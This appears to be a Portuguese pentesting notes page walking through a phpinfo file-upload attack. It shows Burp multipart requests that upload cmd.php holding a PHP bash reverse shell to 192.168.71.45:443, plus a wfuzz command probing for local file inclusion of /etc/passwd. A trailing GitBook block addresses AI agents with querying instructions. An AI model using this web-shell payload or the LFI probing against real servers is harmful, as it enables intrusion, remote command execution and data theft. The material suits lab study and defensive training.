> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# Upload de arquivo phpinfo

## Envio de arquivo:

Depois de localizar o arquivo "info.php", explore a possibilidade de enviar arquivos para o servidor.

<figure><img src="/files/74e797821a0445e98101fd04039fc172b675021c" alt=""><figcaption></figcaption></figure>

**Interceptar com o Burp Suite:** Use o Burp Suite para interceptar a requisição. Altere o método de "GET" para "POST".

<figure><img src="/files/f50732ec2c12249c862ebe8edd611c97ede77a4c" alt=""><figcaption></figcaption></figure>

#### requisição para importar um arquivo de texto no servidor:

Use a estrutura do Burp Suite abaixo para enviar uma requisição de upload de um arquivo chamado `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
Isto é um teste
----pwned

```

<figure><img src="/files/7d082dedf27020a2c7e4fa5d0cc62c46a567f657" alt=""><figcaption></figcaption></figure>

**Injeção de código PHP:** Tente injetar código PHP usando a mesma estrutura do Burp Suite. Modifique o conteúdo do arquivo para injetar a carga útil.

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### Confirmação da injeção:

Verifique se a injeção foi bem-sucedida confirmando a presença do arquivo "cmd.php" no servidor.

<figure><img src="/files/47b01ccbc4e7bb02c760badebd5882251877d2b1" alt=""><figcaption></figcaption></figure>

#### Busca por LFI

Para encontrar uma vulnerabilidade LFI, usamos a ferramenta wfuz para identificar um possível parâmetro redirecionando para um arquivo PHP. O comando é o abaixo:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="/files/c4438da3e09091ff0a14d887dc673308b749581e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/927753c4e2d085fc733c7cf74e46cb4e21ad9cef" alt=""><figcaption></figcaption></figure>

#### Dificuldade com a alteração constante da pasta:

Infelizmente, não conseguimos listar o conteúdo do arquivo cmd.php devido à alteração constante da pasta temporária:

<figure><img src="/files/287edf4ace4e8912476d09c928dc85864cded2c0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
